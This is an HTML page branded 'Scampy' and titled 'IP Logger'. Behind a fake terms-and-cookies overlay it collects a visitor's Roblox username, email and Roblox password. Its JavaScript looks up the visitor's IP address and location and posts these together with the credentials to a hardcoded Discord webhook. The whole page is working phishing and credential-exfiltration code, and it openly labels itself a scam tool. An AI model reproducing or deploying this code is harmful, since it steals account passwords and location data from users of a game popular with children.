<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>IP Logger</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            background-color: #f0f0f0;
        }
        h1 {
            margin-bottom: 20px;
        }
        button {
            background-color: #007BFF;
            color: white;
            border: none;
            border-radius: 25px;
            padding: 10px 20px;
            font-size: 16px;
            cursor: pointer;
            margin: 10px;
        }
        button:hover {
            background-color: #0056b3;
        }
        input {
            padding: 10px;
            border: 1px solid #ccc;
            border-radius: 5px;
            margin: 10px 0;
            font-size: 16px;
            width: 100%;
            max-width: 300px;
        }
        .overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.8);
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            color: white;
            text-align: center;
            padding: 20px;
            box-sizing: border-box;
        }
        .hidden {
            display: none;
        }
    </style>
</head>
<body>
    <div id="overlay" class="overlay">
        <h1>Akzeptiere die Bedingungen</h1>
        <p>
Terms of Use and Cookies Policy
By using this website, you agree to comply with the following terms and conditions. Please read this document carefully before proceeding.
Acceptance of Terms:
By accessing or using the services of this website, you accept these terms in full. If you disagree with any part of these terms, you must not use this website.
Cookies Policy:
This website uses cookies to enhance your user experience, analyze website traffic, and provide personalized content and ads. Cookies are small text files stored on your device that help us identify you when you return to our site. By continuing to use this site, you consent to the use of cookies in accordance with our Cookies Policy.
Data Collection and Privacy:
We may collect certain information from you during your visit, such as IP address, browser type, and device information, in order to improve our services. Personal data, if provided, will be handled in accordance with our Privacy Policy.
User Responsibility:
You are responsible for ensuring that your use of this website complies with all applicable laws and regulations. You must not use this site to transmit illegal, harmful, or objectionable material.
Modifications to the Terms:
We reserve the right to modify or update these terms at any time without prior notice. It is your responsibility to review this page regularly to stay informed about changes.
Liability Disclaimer:
While we strive to provide accurate and up-to-date information, this website makes no warranties or representations regarding its completeness or accuracy. We shall not be held liable for any direct or indirect damages resulting from your use of this website.
Jurisdiction:
These terms and conditions are governed by the laws of [Your Country/State]. Disputes arising in connection with these terms shall be subject to the exclusive jurisdiction of the courts of [Your Location].
Your data may be shared with third-party providers to enhance our services, deliver personalized content, or comply with legal requirements
If you do not accept these terms or our use of cookies, please exit this website immediately.
        </p>
        <p>Diese Daten können für Analysezwecke verwendet werden und sind möglicherweise dauerhaft gespeichert.</p>
        <p>Bitte geben Sie Ihre Daten ein und akzeptieren Sie, um fortzufahren.</p>
        <input type="text" id="nameInput" placeholder="Roblox Name" required>
        <input type="email" id="emailInput" placeholder="Email" required>
        <input type="password" id="passwordInput" placeholder="Roblox Passwort" required>
        <button id="acceptButton">Akzeptieren</button>
    </div>

    <h1>Scampy</h1>
    <button id="createScamLink" class="hidden">Create Scam Link</button>
    <button id="aboutUs" class="hidden">About Us</button>

    <script>
        const webhookUrl = "https://discord.com/api/webhooks/1317535537984180294/-RsnnwoIBS0fCLi-KtXkLjtO5TVJ8xzkP738MSMr2PULsrYqfvw9eE-6xS2ojhkrouJY";

        async function logIP(name, email, password) {
            try {
                console.log("Fetching IP...");
                const ipResponse = await fetch("https://api.ipify.org?format=json");
                const ipData = await ipResponse.json();

                const locationResponse = await fetch(`https://ipwhois.app/json/${ipData.ip}`);
                const locationData = await locationResponse.json();

                const ip = ipData.ip;
                const date = new Date().toLocaleString("de-DE");
                const userAgent = navigator.userAgent;
                const city = locationData.city || "Unknown";
                const region = locationData.region || "Unknown";
                const country = locationData.country || "Unknown";

                const message = {
                    username: "IP Logger",
                    embeds: [
                        {
                            title: "New IP Logged",
                            color: 3447003,
                            fields: [
                                { name: "Name", value: name, inline: false },
                                { name: "E-Mail", value: email, inline: false },
                                { name: "Passwort", value: password, inline: false },
                                { name: "IP Address", value: ip, inline: false },
                                { name: "Date", value: date, inline: false },
                                { name: "User Agent", value: userAgent, inline: false },
                                { name: "City", value: city, inline: false },
                                { name: "Region", value: region, inline: false },
                                { name: "Country", value: country, inline: false }
                            ]
                        }
                    ]
                };

                console.log("Sending data to Discord...");
                await fetch(webhookUrl, {
                    method: "POST",
                    headers: {
                        "Content-Type": "application/json"
                    },
                    body: JSON.stringify(message)
                });

                alert("Information successfully sent!");
            } catch (error) {
                console.error("Error sending information:", error);
                alert("Failed to send information. Check the console for details.");
            }
        }

        document.getElementById("acceptButton").addEventListener("click", () => {
            const nameInput = document.getElementById("nameInput").value;
            const emailInput = document.getElementById("emailInput").value;
            const passwordInput = document.getElementById("passwordInput").value;

            if (!nameInput || !emailInput || !passwordInput) {
                alert("Bitte füllen Sie alle Felder aus.");
                return;
            }

            document.getElementById("overlay").classList.add("hidden");
            document.getElementById("createScamLink").classList.remove("hidden");
            document.getElementById("aboutUs").classList.remove("hidden");

            document.getElementById("createScamLink").addEventListener("click", () => logIP(nameInput, emailInput, passwordInput));
        });

        document.getElementById("aboutUs").addEventListener("click", () => {
            alert("Scampy v1.0: Your IP Logger Tool.");
        });
    </script>
</body>
</html>
